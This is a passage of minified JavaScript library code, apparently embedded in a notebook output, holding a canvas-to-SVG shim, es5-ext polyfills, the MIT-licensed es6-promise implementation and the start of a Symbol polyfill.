r=this.__createElement(\\\"linearGradient\\\",{id:l(this.__ids),x1:t+\\\"px\\\",x2:i+\\\"px\\\",y1:e+\\\"px\\\",y2:n+\\\"px\\\",gradientUnits:\\\"userSpaceOnUse\\\"},!1);return this.__defs.appendChild(r),new p(r,this)},x.prototype.createRadialGradient=function(t,e,i,n,r,o){var s=this.__createElement(\\\"radialGradient\\\",{id:l(this.__ids),cx:n+\\\"px\\\",cy:r+\\\"px\\\",r:o+\\\"px\\\",fx:t+\\\"px\\\",fy:e+\\\"px\\\",gradientUnits:\\\"userSpaceOnUse\\\"},!1);return this.__defs.appendChild(s),new p(s,this)},x.prototype.__parseFont=function(){var t=/^\\\\s*(?=(?:(?:[-a-z]+\\\\s*){0,2}(italic|oblique))?)(?=(?:(?:[-a-z]+\\\\s*){0,2}(small-caps))?)(?=(?:(?:[-a-z]+\\\\s*){0,2}(bold(?:er)?|lighter|[1-9]00))?)(?:(?:normal|\\\\1|\\\\2|\\\\3)\\\\s*){0,3}((?:xx?-)?(?:small|large)|medium|smaller|larger|[.\\\\d]+(?:\\\\%|in|[cem]m|ex|p[ctx]))(?:\\\\s*\\\\/\\\\s*(normal|[.\\\\d]+(?:\\\\%|in|[cem]m|ex|p[ctx])))?\\\\s*([-,\\\\'\\\\\\\"\\\\sa-z0-9]+?)\\\\s*$/i.exec(this.font),e={style:t[1]||\\\"normal\\\",size:t[4]||\\\"10px\\\",family:t[6]||\\\"sans-serif\\\",weight:t[3]||\\\"normal\\\",decoration:t[2]||\\\"normal\\\",href:null};return\\\"underline\\\"===this.__fontUnderline&&(e.decoration=\\\"underline\\\"),this.__fontHref&&(e.href=this.__fontHref),e},x.prototype.__wrapTextLink=function(t,e){if(t.href){var i=this.__createElement(\\\"a\\\");return i.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",t.href),i.appendChild(e),i}return e},x.prototype.__applyText=function(t,e,i,n){var r,o,s,a,l=this.__parseFont(),h=this.__closestGroupOrSvg(),u=this.__createElement(\\\"text\\\",{\\\"font-family\\\":l.family,\\\"font-size\\\":l.size,\\\"font-style\\\":l.style,\\\"font-weight\\\":l.weight,\\\"text-decoration\\\":l.decoration,x:e,y:i,\\\"text-anchor\\\":(s=this.textAlign,a={left:\\\"start\\\",right:\\\"end\\\",center:\\\"middle\\\",start:\\\"start\\\",end:\\\"end\\\"},a[s]||a.start),\\\"dominant-baseline\\\":(r=this.textBaseline,o={alphabetic:\\\"alphabetic\\\",hanging:\\\"hanging\\\",top:\\\"text-before-edge\\\",bottom:\\\"text-after-edge\\\",middle:\\\"central\\\"},o[r]||o.alphabetic)},!0);u.appendChild(this.__document.createTextNode(t)),this.__currentElement=u,this.__applyStyleToCurrentElement(n),h.appendChild(this.__wrapTextLink(l,u))},x.prototype.fillText=function(t,e,i){this.__applyText(t,e,i,\\\"fill\\\")},x.prototype.strokeText=function(t,e,i){this.__applyText(t,e,i,\\\"stroke\\\")},x.prototype.measureText=function(t){return this.__ctx.font=this.font,this.__ctx.measureText(t)},x.prototype.arc=function(t,e,i,n,r,o){if(n!==r){n%=2*Math.PI,r%=2*Math.PI,n===r&&(r=(r+2*Math.PI-.001*(o?-1:1))%(2*Math.PI));var s=t+i*Math.cos(r),a=e+i*Math.sin(r),l=t+i*Math.cos(n),h=e+i*Math.sin(n),u=o?0:1,c=0,_=r-n;_<0&&(_+=2*Math.PI),c=o?_>Math.PI?0:1:_>Math.PI?1:0,this.lineTo(l,h),this.__addPathCommand(f(\\\"A {rx} {ry} {xAxisRotation} {largeArcFlag} {sweepFlag} {endX} {endY}\\\",{rx:i,ry:i,xAxisRotation:0,largeArcFlag:c,sweepFlag:u,endX:s,endY:a})),this.__currentPosition={x:s,y:a}}},x.prototype.clip=function(){var t=this.__closestGroupOrSvg(),e=this.__createElement(\\\"clipPath\\\"),i=l(this.__ids),n=this.__createElement(\\\"g\\\");this.__applyCurrentDefaultPath(),t.removeChild(this.__currentElement),e.setAttribute(\\\"id\\\",i),e.appendChild(this.__currentElement),this.__defs.appendChild(e),t.setAttribute(\\\"clip-path\\\",f(\\\"url(#{id})\\\",{id:i})),t.appendChild(n),this.__currentElement=n},x.prototype.drawImage=function(){var t,e,i,n,r,o,s,a,l,h,u,c,_,p,d=Array.prototype.slice.call(arguments),f=d[0],v=0,m=0;if(3===d.length)t=d[1],e=d[2],r=f.width,o=f.height,i=r,n=o;else if(5===d.length)t=d[1],e=d[2],i=d[3],n=d[4],r=f.width,o=f.height;else{if(9!==d.length)throw new Error(\\\"Inavlid number of arguments passed to drawImage: \\\"+arguments.length);v=d[1],m=d[2],r=d[3],o=d[4],t=d[5],e=d[6],i=d[7],n=d[8]}s=this.__closestGroupOrSvg(),this.__currentElement;var g=\\\"translate(\\\"+t+\\\", \\\"+e+\\\")\\\";if(f instanceof x){if((a=f.getSvg().cloneNode(!0)).childNodes&&1<a.childNodes.length){for(l=a.childNodes[0];l.childNodes.length;)p=l.childNodes[0].getAttribute(\\\"id\\\"),this.__ids[p]=p,this.__defs.appendChild(l.childNodes[0]);if(h=a.childNodes[1]){var y,b=h.getAttribute(\\\"transform\\\");y=b?b+\\\" \\\"+g:g,h.setAttribute(\\\"transform\\\",y),s.appendChild(h)}}}else\\\"IMG\\\"===f.nodeName?((u=this.__createElement(\\\"image\\\")).setAttribute(\\\"width\\\",i),u.setAttribute(\\\"height\\\",n),u.setAttribute(\\\"preserveAspectRatio\\\",\\\"none\\\"),(v||m||r!==f.width||o!==f.height)&&((c=this.__document.createElement(\\\"canvas\\\")).width=i,c.height=n,(_=c.getContext(\\\"2d\\\")).drawImage(f,v,m,r,o,0,0,i,n),f=c),u.setAttribute(\\\"transform\\\",g),u.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",\\\"CANVAS\\\"===f.nodeName?f.toDataURL():f.getAttribute(\\\"src\\\")),s.appendChild(u)):\\\"CANVAS\\\"===f.nodeName&&((u=this.__createElement(\\\"image\\\")).setAttribute(\\\"width\\\",i),u.setAttribute(\\\"height\\\",n),u.setAttribute(\\\"preserveAspectRatio\\\",\\\"none\\\"),(c=this.__document.createElement(\\\"canvas\\\")).width=i,c.height=n,(_=c.getContext(\\\"2d\\\")).imageSmoothingEnabled=!1,_.mozImageSmoothingEnabled=!1,_.oImageSmoothingEnabled=!1,_.webkitImageSmoothingEnabled=!1,_.drawImage(f,v,m,r,o,0,0,i,n),f=c,u.setAttribute(\\\"transform\\\",g),u.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",f.toDataURL()),s.appendChild(u))},x.prototype.createPattern=function(t,e){var i,n=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"pattern\\\"),r=l(this.__ids);return n.setAttribute(\\\"id\\\",r),n.setAttribute(\\\"width\\\",t.width),n.setAttribute(\\\"height\\\",t.height),\\\"CANVAS\\\"===t.nodeName||\\\"IMG\\\"===t.nodeName?((i=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"image\\\")).setAttribute(\\\"width\\\",t.width),i.setAttribute(\\\"height\\\",t.height),i.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",\\\"CANVAS\\\"===t.nodeName?t.toDataURL():t.getAttribute(\\\"src\\\")),n.appendChild(i),this.__defs.appendChild(n)):t instanceof x&&(n.appendChild(t.__root.childNodes[1]),this.__defs.appendChild(n)),new d(n,this)},x.prototype.setLineDash=function(t){t&&0<t.length?this.lineDash=t.join(\\\",\\\"):this.lineDash=null},x.prototype.drawFocusRing=function(){},x.prototype.createImageData=function(){},x.prototype.getImageData=function(){},x.prototype.putImageData=function(){},x.prototype.globalCompositeOperation=function(){},x.prototype.setTransform=function(){},\\\"object\\\"==typeof window&&(window.C2S=x),\\\"object\\\"==typeof e&&\\\"object\\\"==typeof e.exports&&(e.exports=x)}()},function(t,e,i){var n,o=t(307),r=t(317),s=t(321),a=t(316),l=t(321),h=t(323),u=Function.prototype.bind,c=Object.defineProperty,_=Object.prototype.hasOwnProperty;n=function(t,e,i){var n,r=h(e)&&l(e.value);return delete(n=o(e)).writable,delete n.value,n.get=function(){return!i.overwriteDefinition&&_.call(this,t)?r:(e.value=u.call(r,i.resolveContext?i.resolveContext(this):this),c(this,t,e),this[t])},n},e.exports=function(t){var i=r(arguments[1]);return null!=i.resolveContext&&s(i.resolveContext),a(t,function(t,e){return n(e,t,i)})}},function(t,e,i){var a=t(304),l=t(317),h=t(310),u=t(324);(e.exports=function(t,e){var i,n,r,o,s;return arguments.length<2||\\\"string\\\"!=typeof t?(o=e,e=t,t=null):o=arguments[2],null==t?(i=r=!0,n=!1):(i=u.call(t,\\\"c\\\"),n=u.call(t,\\\"e\\\"),r=u.call(t,\\\"w\\\")),s={value:e,configurable:i,enumerable:n,writable:r},o?a(l(o),s):s}).gs=function(t,e,i){var n,r,o,s;return\\\"string\\\"!=typeof t?(o=i,i=e,e=t,t=null):o=arguments[3],null==e?e=void 0:h(e)?null==i?i=void 0:h(i)||(o=i,i=void 0):(o=e,e=i=void 0),null==t?r=!(n=!0):(n=u.call(t,\\\"c\\\"),r=u.call(t,\\\"e\\\")),s={get:e,set:i,configurable:n,enumerable:r},o?a(l(o),s):s}},function(t,e,i){var n=t(323);e.exports=function(){return n(this).length=0,this}},function(t,e,i){e.exports=t(292)()?Array.from:t(293)},function(t,e,i){e.exports=function(){var t,e,i=Array.from;return\\\"function\\\"==typeof i&&(e=i(t=[\\\"raz\\\",\\\"dwa\\\"]),Boolean(e&&e!==t&&\\\"dwa\\\"===e[1]))}},function(t,e,i){var p=t(337).iterator,d=t(294),f=t(295),v=t(302),m=t(321),g=t(323),y=t(312),b=t(327),x=Array.isArray,w=Function.prototype.call,k={configurable:!0,enumerable:!0,writable:!0,value:null},S=Object.defineProperty;e.exports=function(t){var e,i,n,r,o,s,a,l,h,u,c=arguments[1],_=arguments[2];if(t=Object(g(t)),y(c)&&m(c),this&&this!==Array&&f(this))e=this;else{if(!c){if(d(t))return 1!==(o=t.length)?Array.apply(null,t):((r=new Array(1))[0]=t[0],r);if(x(t)){for(r=new Array(o=t.length),i=0;i<o;++i)r[i]=t[i];return r}}r=[]}if(!x(t))if(void 0!==(h=t[p])){for(a=m(h).call(t),e&&(r=new e),l=a.next(),i=0;!l.done;)u=c?w.call(c,_,l.value,i):l.value,e?(k.value=u,S(r,i,k)):r[i]=u,l=a.next(),++i;o=i}else if(b(t)){for(o=t.length,e&&(r=new e),n=i=0;i<o;++i)u=t[i],i+1<o&&55296<=(s=u.charCodeAt(0))&&s<=56319&&(u+=t[++i]),u=c?w.call(c,_,u,n):u,e?(k.value=u,S(r,n,k)):r[n]=u,++n;o=n}if(void 0===o)for(o=v(t.length),e&&(r=new e(o)),i=0;i<o;++i)u=c?w.call(c,_,t[i],i):t[i],e?(k.value=u,S(r,i,k)):r[i]=u;return e&&(k.value=null,r.length=o),r}},function(t,e,i){var n=Object.prototype.toString,r=n.call(function(){return arguments}());e.exports=function(t){return n.call(t)===r}},function(t,e,i){var n=Object.prototype.toString,r=n.call(t(296));e.exports=function(t){return\\\"function\\\"==typeof t&&n.call(t)===r}},function(t,e,i){e.exports=function(){}},function(t,e,i){e.exports=function(){return this}()},function(t,e,i){e.exports=t(299)()?Math.sign:t(300)},function(t,e,i){e.exports=function(){var t=Math.sign;return\\\"function\\\"==typeof t&&1===t(10)&&-1===t(-20)}},function(t,e,i){e.exports=function(t){return t=Number(t),isNaN(t)||0===t?t:0<t?1:-1}},function(t,e,i){var n=t(298),r=Math.abs,o=Math.floor;e.exports=function(t){return isNaN(t)?0:0!==(t=Number(t))&&isFinite(t)?n(t)*o(r(t)):t}},function(t,e,i){var n=t(301),r=Math.max;e.exports=function(t){return r(0,n(t))}},function(t,e,i){var a=t(321),l=t(323),h=Function.prototype.bind,u=Function.prototype.call,c=Object.keys,_=Object.prototype.propertyIsEnumerable;e.exports=function(o,s){return function(i,n){var t,r=arguments[2],e=arguments[3];return i=Object(l(i)),a(n),t=c(i),e&&t.sort(\\\"function\\\"==typeof e?h.call(e,i):void 0),\\\"function\\\"!=typeof o&&(o=t[o]),u.call(o,t,function(t,e){return _.call(i,t)?u.call(n,r,i[t],t,i,e):s})}}},function(t,e,i){e.exports=t(305)()?Object.assign:t(306)},function(t,e,i){e.exports=function(){var t,e=Object.assign;return\\\"function\\\"==typeof e&&(e(t={foo:\\\"raz\\\"},{bar:\\\"dwa\\\"},{trzy:\\\"trzy\\\"}),t.foo+t.bar+t.trzy===\\\"razdwatrzy\\\")}},function(t,e,i){var s=t(313),a=t(323),l=Math.max;e.exports=function(e,i){var n,t,r,o=l(arguments.length,2);for(e=Object(a(e)),r=function(t){try{e[t]=i[t]}catch(t){n||(n=t)}},t=1;t<o;++t)i=arguments[t],s(i).forEach(r);if(void 0!==n)throw n;return e}},function(t,e,i){var o=t(291),s=t(304),a=t(323);e.exports=function(e){var t=Object(a(e)),i=arguments[1],n=Object(arguments[2]);if(t!==e&&!i)return t;var r={};return i?o(i,function(t){(n.ensure||t in e)&&(r[t]=e[t])}):s(r,e),r}},function(t,e,i){var n,r,o,s,a=Object.create;t(319)()||(n=t(320)),e.exports=n?1!==n.level?a:(s={configurable:(o={},!1),enumerable:(r={},!1),writable:!0,value:void 0},Object.getOwnPropertyNames(Object.prototype).forEach(function(t){o[t]=\\\"__proto__\\\"!==t?s:{configurable:!0,enumerable:!1,writable:!0,value:void 0}}),Object.defineProperties(r,o),Object.defineProperty(n,\\\"nullPolyfill\\\",{configurable:!1,enumerable:!1,writable:!1,value:r}),function(t,e){return a(null===t?r:t,e)}):a},function(t,e,i){e.exports=t(303)(\\\"forEach\\\")},function(t,e,i){e.exports=function(t){return\\\"function\\\"==typeof t}},function(t,e,i){var n=t(312),r={function:!0,object:!0};e.exports=function(t){return n(t)&&r[typeof t]||!1}},function(t,e,i){var n=t(296)();e.exports=function(t){return t!==n&&null!==t}},function(t,e,i){e.exports=t(314)()?Object.keys:t(315)},function(t,e,i){e.exports=function(){try{return Object.keys(\\\"primitive\\\"),!0}catch(t){return!1}}},function(t,e,i){var n=t(312),r=Object.keys;e.exports=function(t){return r(n(t)?Object(t):t)}},function(t,e,i){var n=t(321),a=t(309),l=Function.prototype.call;e.exports=function(t,r){var o={},s=arguments[2];return n(r),a(t,function(t,e,i,n){o[e]=l.call(r,s,t,e,i,n)}),o}},function(t,e,i){var n=t(312),r=Array.prototype.forEach,o=Object.create;e.exports=function(t){var e=o(null);return r.call(arguments,function(t){n(t)&&function(t,e){var i;for(i in t)e[i]=t[i]}(Object(t),e)}),e}},function(t,e,i){e.exports=t(319)()?Object.setPrototypeOf:t(320)},function(t,e,i){var n=Object.create,r=Object.getPrototypeOf,o={};e.exports=function(){var t=Object.setPrototypeOf,e=arguments[0]||n;return\\\"function\\\"==typeof t&&r(t(e(null),o))===o}},function(t,e,i){var r,n,o,s,a=t(311),l=t(323),h=Object.prototype.isPrototypeOf,u=Object.defineProperty,c={configurable:!0,enumerable:!1,writable:!0,value:void 0};r=function(t,e){if(l(t),null===e||a(e))return t;throw new TypeError(\\\"Prototype must be null or an object\\\")},e.exports=(n=function(){var t,e=Object.create(null),i={},n=Object.getOwnPropertyDescriptor(Object.prototype,\\\"__proto__\\\");if(n){try{(t=n.set).call(e,i)}catch(t){}if(Object.getPrototypeOf(e)===i)return{set:t,level:2}}return e.__proto__=i,Object.getPrototypeOf(e)===i?{level:2}:((e={}).__proto__=i,Object.getPrototypeOf(e)===i&&{level:1})}())?(2===n.level?n.set?(s=n.set,o=function(t,e){return s.call(r(t,e),e),t}):o=function(t,e){return r(t,e).__proto__=e,t}:o=function t(e,i){var n;return r(e,i),(n=h.call(t.nullPolyfill,e))&&delete t.nullPolyfill.__proto__,null===i&&(i=t.nullPolyfill),e.__proto__=i,n&&u(t.nullPolyfill,\\\"__proto__\\\",c),e},Object.defineProperty(o,\\\"level\\\",{configurable:!1,enumerable:!1,writable:!1,value:n.level})):null,t(308)},function(t,e,i){e.exports=function(t){if(\\\"function\\\"!=typeof t)throw new TypeError(t+\\\" is not a function\\\");return t}},function(t,e,i){var n=t(311);e.exports=function(t){if(!n(t))throw new TypeError(t+\\\" is not an Object\\\");return t}},function(t,e,i){var n=t(312);e.exports=function(t){if(!n(t))throw new TypeError(\\\"Cannot use null or undefined\\\");return t}},function(t,e,i){e.exports=t(325)()?String.prototype.contains:t(326)},function(t,e,i){var n=\\\"razdwatrzy\\\";e.exports=function(){return\\\"function\\\"==typeof n.contains&&!0===n.contains(\\\"dwa\\\")&&!1===n.contains(\\\"foo\\\")}},function(t,e,i){var n=String.prototype.indexOf;e.exports=function(t){return-1<n.call(this,t,arguments[1])}},function(t,e,i){var n=Object.prototype.toString,r=n.call(\\\"\\\");e.exports=function(t){return\\\"string\\\"==typeof t||t&&\\\"object\\\"==typeof t&&(t instanceof String||n.call(t)===r)||!1}},function(t,e,i){var n=Object.create(null),r=Math.random;e.exports=function(){for(var t;t=r().toString(36).slice(2),n[t];);return t}},function(t,e,i){var n,r=t(318),o=t(324),s=t(289),a=t(337),l=t(332),h=Object.defineProperty;n=e.exports=function(t,e){if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");l.call(this,t),e=e?o.call(e,\\\"key+value\\\")?\\\"key+value\\\":o.call(e,\\\"key\\\")?\\\"key\\\":\\\"value\\\":\\\"value\\\",h(this,\\\"__kind__\\\",s(\\\"\\\",e))},r&&r(n,l),delete n.prototype.constructor,n.prototype=Object.create(l.prototype,{_resolve:s(function(t){return\\\"value\\\"===this.__kind__?this.__list__[t]:\\\"key+value\\\"===this.__kind__?[t,this.__list__[t]]:t})}),h(n.prototype,a.toStringTag,s(\\\"c\\\",\\\"Array Iterator\\\"))},function(t,e,i){var c=t(294),_=t(321),p=t(327),d=t(331),f=Array.isArray,v=Function.prototype.call,m=Array.prototype.some;e.exports=function(t,e){var i,n,r,o,s,a,l,h,u=arguments[2];if(f(t)||c(t)?i=\\\"array\\\":p(t)?i=\\\"string\\\":t=d(t),_(e),r=function(){o=!0},\\\"array\\\"!==i)if(\\\"string\\\"!==i)for(n=t.next();!n.done;){if(v.call(e,u,n.value,r),o)return;n=t.next()}else for(a=t.length,s=0;s<a&&(l=t[s],s+1<a&&55296<=(h=l.charCodeAt(0))&&h<=56319&&(l+=t[++s]),v.call(e,u,l,r),!o);++s);else m.call(t,function(t){return v.call(e,u,t,r),o})}},function(t,e,i){var n=t(294),r=t(327),o=t(329),s=t(334),a=t(335),l=t(337).iterator;e.exports=function(t){return\\\"function\\\"==typeof a(t)[l]?t[l]():n(t)?new o(t):r(t)?new s(t):new o(t)}},function(t,e,i){var n,r=t(290),o=t(304),s=t(321),a=t(323),l=t(289),h=t(288),u=t(337),c=Object.defineProperty,_=Object.defineProperties;e.exports=n=function(t,e){if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");_(this,{__list__:l(\\\"w\\\",a(t)),__context__:l(\\\"w\\\",e),__nextIndex__:l(\\\"w\\\",0)}),e&&(s(e.on),e.on(\\\"_add\\\",this._onAdd),e.on(\\\"_delete\\\",this._onDelete),e.on(\\\"_clear\\\",this._onClear))},delete n.prototype.constructor,_(n.prototype,o({_next:l(function(){var t;if(this.__list__)return this.__redo__&&void 0!==(t=this.__redo__.shift())?t:this.__nextIndex__<this.__list__.length?this.__nextIndex__++:void this._unBind()}),next:l(function(){return this._createResult(this._next())}),_createResult:l(function(t){return void 0===t?{done:!0,value:void 0}:{done:!1,value:this._resolve(t)}}),_resolve:l(function(t){return this.__list__[t]}),_unBind:l(function(){this.__list__=null,delete this.__redo__,this.__context__&&(this.__context__.off(\\\"_add\\\",this._onAdd),this.__context__.off(\\\"_delete\\\",this._onDelete),this.__context__.off(\\\"_clear\\\",this._onClear),this.__context__=null)}),toString:l(function(){return\\\"[object \\\"+(this[u.toStringTag]||\\\"Object\\\")+\\\"]\\\"})},h({_onAdd:l(function(i){i>=this.__nextIndex__||(++this.__nextIndex__,this.__redo__?(this.__redo__.forEach(function(t,e){i<=t&&(this.__redo__[e]=++t)},this),this.__redo__.push(i)):c(this,\\\"__redo__\\\",l(\\\"c\\\",[i])))}),_onDelete:l(function(i){var t;i>=this.__nextIndex__||(--this.__nextIndex__,this.__redo__&&(-1!==(t=this.__redo__.indexOf(i))&&this.__redo__.splice(t,1),this.__redo__.forEach(function(t,e){i<t&&(this.__redo__[e]=--t)},this)))}),_onClear:l(function(){this.__redo__&&r.call(this.__redo__),this.__nextIndex__=0})}))),c(n.prototype,u.iterator,l(function(){return this}))},function(t,e,i){var n=t(294),r=t(312),o=t(327),s=t(337).iterator,a=Array.isArray;e.exports=function(t){return!(!r(t)||!a(t)&&!o(t)&&!n(t)&&\\\"function\\\"!=typeof t[s])}},function(t,e,i){var n,r=t(318),o=t(289),s=t(337),a=t(332),l=Object.defineProperty;n=e.exports=function(t){if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");t=String(t),a.call(this,t),l(this,\\\"__length__\\\",o(\\\"\\\",t.length))},r&&r(n,a),delete n.prototype.constructor,n.prototype=Object.create(a.prototype,{_next:o(function(){if(this.__list__)return this.__nextIndex__<this.__length__?this.__nextIndex__++:void this._unBind()}),_resolve:o(function(t){var e,i=this.__list__[t];return this.__nextIndex__===this.__length__?i:55296<=(e=i.charCodeAt(0))&&e<=56319?i+this.__list__[this.__nextIndex__++]:i})}),l(n.prototype,s.toStringTag,o(\\\"c\\\",\\\"String Iterator\\\"))},function(t,e,i){var n=t(333);e.exports=function(t){if(!n(t))throw new TypeError(t+\\\" is not iterable\\\");return t}},function(L,t,e){\\n\",\n       \"      /*!\\n\",\n       \"           * @overview es6-promise - a tiny implementation of Promises/A+.\\n\",\n       \"           * @copyright Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald)\\n\",\n       \"           * @license   Licensed under MIT license\\n\",\n       \"           *            See https://raw.githubusercontent.com/stefanpenner/es6-promise/master/LICENSE\\n\",\n       \"           * @version   v4.2.4+314e4831\\n\",\n       \"           */var i,n;i=this,n=function(){\\\"use strict\\\";function h(t){return\\\"function\\\"==typeof t}var i=Array.isArray?Array.isArray:function(t){return\\\"[object Array]\\\"===Object.prototype.toString.call(t)},n=0,e=void 0,r=void 0,a=function(t,e){_[n]=t,_[n+1]=e,2===(n+=2)&&(r?r(p):g())},t=\\\"undefined\\\"!=typeof window?window:void 0,o=t||{},s=o.MutationObserver||o.WebKitMutationObserver,l=\\\"undefined\\\"==typeof self&&\\\"undefined\\\"!=typeof process&&\\\"[object process]\\\"==={}.toString.call(process),u=\\\"undefined\\\"!=typeof Uint8ClampedArray&&\\\"undefined\\\"!=typeof importScripts&&\\\"undefined\\\"!=typeof MessageChannel;function c(){var t=setTimeout;return function(){return t(p,1)}}var _=new Array(1e3);function p(){for(var t=0;t<n;t+=2){var e=_[t],i=_[t+1];e(i),_[t]=void 0,_[t+1]=void 0}n=0}var d,f,v,m,g=void 0;function y(t,e){var i=this,n=new this.constructor(w);void 0===n[x]&&I(n);var r=i._state;if(r){var o=arguments[r-1];a(function(){return F(r,n,o,i._result)})}else j(i,n,t,e);return n}function b(t){if(t&&\\\"object\\\"==typeof t&&t.constructor===this)return t;var e=new this(w);return M(e,t),e}l?g=function(){return process.nextTick(p)}:s?(f=0,v=new s(p),m=document.createTextNode(\\\"\\\"),v.observe(m,{characterData:!0}),g=function(){m.data=f=++f%2}):u?((d=new MessageChannel).port1.onmessage=p,g=function(){return d.port2.postMessage(0)}):g=void 0===t&&\\\"function\\\"==typeof L?function(){try{var t=Function(\\\"return this\\\")().require(\\\"vertx\\\");return void 0!==(e=t.runOnLoop||t.runOnContext)?function(){e(p)}:c()}catch(t){return c()}}():c();var x=Math.random().toString(36).substring(2);function w(){}var k=void 0,S=1,C=2,T={error:null};function A(t){try{return t.then}catch(t){return T.error=t,T}}function E(t,e,i){var n,r,o,s;e.constructor===t.constructor&&i===y&&e.constructor.resolve===b?(o=t,(s=e)._state===S?z(o,s._result):s._state===C?P(o,s._result):j(s,void 0,function(t){return M(o,t)},function(t){return P(o,t)})):i===T?(P(t,T.error),T.error=null):void 0===i?z(t,e):h(i)?(n=e,r=i,a(function(e){var i=!1,t=function(t,e,i,n){try{t.call(e,i,n)}catch(t){return t}}(r,n,function(t){i||(i=!0,n!==t?M(e,t):z(e,t))},function(t){i||(i=!0,P(e,t))},e._label);!i&&t&&(i=!0,P(e,t))},t)):z(t,e)}function M(t,e){var i,n;t===e?P(t,new TypeError(\\\"You cannot resolve a promise with itself\\\")):(n=typeof(i=e),null===i||\\\"object\\\"!==n&&\\\"function\\\"!==n?z(t,e):E(t,e,A(e)))}function O(t){t._onerror&&t._onerror(t._result),N(t)}function z(t,e){t._state===k&&(t._result=e,t._state=S,0!==t._subscribers.length&&a(N,t))}function P(t,e){t._state===k&&(t._state=C,t._result=e,a(O,t))}function j(t,e,i,n){var r=t._subscribers,o=r.length;t._onerror=null,r[o]=e,r[o+S]=i,r[o+C]=n,0===o&&t._state&&a(N,t)}function N(t){var e=t._subscribers,i=t._state;if(0!==e.length){for(var n=void 0,r=void 0,o=t._result,s=0;s<e.length;s+=3)n=e[s],r=e[s+i],n?F(i,n,r,o):r(o);t._subscribers.length=0}}function F(t,e,i,n){var r=h(i),o=void 0,s=void 0,a=void 0,l=void 0;if(r){if((o=function(t,e){try{return t(e)}catch(t){return T.error=t,T}}(i,n))===T?(l=!0,s=o.error,o.error=null):a=!0,e===o)return void P(e,new TypeError(\\\"A promises callback cannot return that same promise.\\\"))}else o=n,a=!0;e._state!==k||(r&&a?M(e,o):l?P(e,s):t===S?z(e,o):t===C&&P(e,o))}var D=0;function I(t){t[x]=D++,t._state=void 0,t._result=void 0,t._subscribers=[]}var R=function(){function t(t,e){this._instanceConstructor=t,this.promise=new t(w),this.promise[x]||I(this.promise),i(e)?(this.length=e.length,this._remaining=e.length,this._result=new Array(this.length),0===this.length?z(this.promise,this._result):(this.length=this.length||0,this._enumerate(e),0===this._remaining&&z(this.promise,this._result))):P(this.promise,new Error(\\\"Array Methods must be provided an Array\\\"))}return t.prototype._enumerate=function(t){for(var e=0;this._state===k&&e<t.length;e++)this._eachEntry(t[e],e)},t.prototype._eachEntry=function(e,t){var i=this._instanceConstructor,n=i.resolve;if(n===b){var r=A(e);if(r===y&&e._state!==k)this._settledAt(e._state,t,e._result);else if(\\\"function\\\"!=typeof r)this._remaining--,this._result[t]=e;else if(i===B){var o=new i(w);E(o,e,r),this._willSettleAt(o,t)}else this._willSettleAt(new i(function(t){return t(e)}),t)}else this._willSettleAt(n(e),t)},t.prototype._settledAt=function(t,e,i){var n=this.promise;n._state===k&&(this._remaining--,t===C?P(n,i):this._result[e]=i),0===this._remaining&&z(n,this._result)},t.prototype._willSettleAt=function(t,e){var i=this;j(t,void 0,function(t){return i._settledAt(S,e,t)},function(t){return i._settledAt(C,e,t)})},t}(),B=function(){function e(t){this[x]=D++,this._result=this._state=void 0,this._subscribers=[],w!==t&&(\\\"function\\\"!=typeof t&&function(){throw new TypeError(\\\"You must pass a resolver function as the first argument to the promise constructor\\\")}(),this instanceof e?function(e,t){try{t(function(t){M(e,t)},function(t){P(e,t)})}catch(t){P(e,t)}}(this,t):function(){throw new TypeError(\\\"Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function.\\\")}())}return e.prototype.catch=function(t){return this.then(null,t)},e.prototype.finally=function(e){var i=this.constructor;return this.then(function(t){return i.resolve(e()).then(function(){return t})},function(t){return i.resolve(e()).then(function(){throw t})})},e}();return B.prototype.then=y,B.all=function(t){return new R(this,t).promise},B.race=function(r){var o=this;return i(r)?new o(function(t,e){for(var i=r.length,n=0;n<i;n++)o.resolve(r[n]).then(t,e)}):new o(function(t,e){return e(new TypeError(\\\"You must pass an array to race.\\\"))})},B.resolve=b,B.reject=function(t){var e=new this(w);return P(e,t),e},B._setScheduler=function(t){r=t},B._setAsap=function(t){a=t},B._asap=a,B.polyfill=function(){var t=void 0;if(\\\"undefined\\\"!=typeof global)t=global;else if(\\\"undefined\\\"!=typeof self)t=self;else try{t=Function(\\\"return this\\\")()}catch(t){throw new Error(\\\"polyfill failed because global object is unavailable in this environment\\\")}var e=t.Promise;if(e){var i=null;try{i=Object.prototype.toString.call(e.resolve())}catch(t){}if(\\\"[object Promise]\\\"===i&&!e.cast)return}t.Promise=B},B.Promise=B},\\\"object\\\"==typeof e&&void 0!==t?t.exports=n():i.ES6Promise=n()},function(t,e,i){e.exports=t(338)()?Symbol:t(340)},function(t,e,i){var n={object:!0,symbol:!0};e.exports=function(){var t;if(\\\"function\\\"!=typeof Symbol)return!1;t=Symbol(\\\"test symbol\\\");try{String(t)}catch(t){return!1}return!!n[typeof Symbol.iterator]&&!!n[typeof Symbol.toPrimitive]&&!!n[typeof Symbol.toStringTag]}},function(t,e,i){e.exports=function(t){return!!t&&(\\\"symbol\\\"==typeof t||!!t.constructor&&\\\"Symbol\\\"===t.constructor.name&&\\\"Symbol\\\"===t[t.constructor.toStringTag])}},function(t,e,i){var n,r,o,s,a=t(289),l=t(341),h=Object.create,u=Object.defineProperties,c=Object.defineProperty,_=Object.prototype,p=h(null);if(\\\"function\\\"==typeof Symbol){n=Symbol;try{String(n()),s=!0}catch(t){}}var d,f=(d=h(null),function(t){for(var e,i,n=0;d[t+(n||\\\"\\\")];)++n;return d[t+=n||\\\"\\\"]=!0,c(_,e=\\\"@@\\\"+t,a.gs(null,function(t){i||(i=!0,c(this,e,a(t)),i=!1)})),e});o=function(t){if(this instanceof o)throw new TypeError(\\\"Symbol is not a 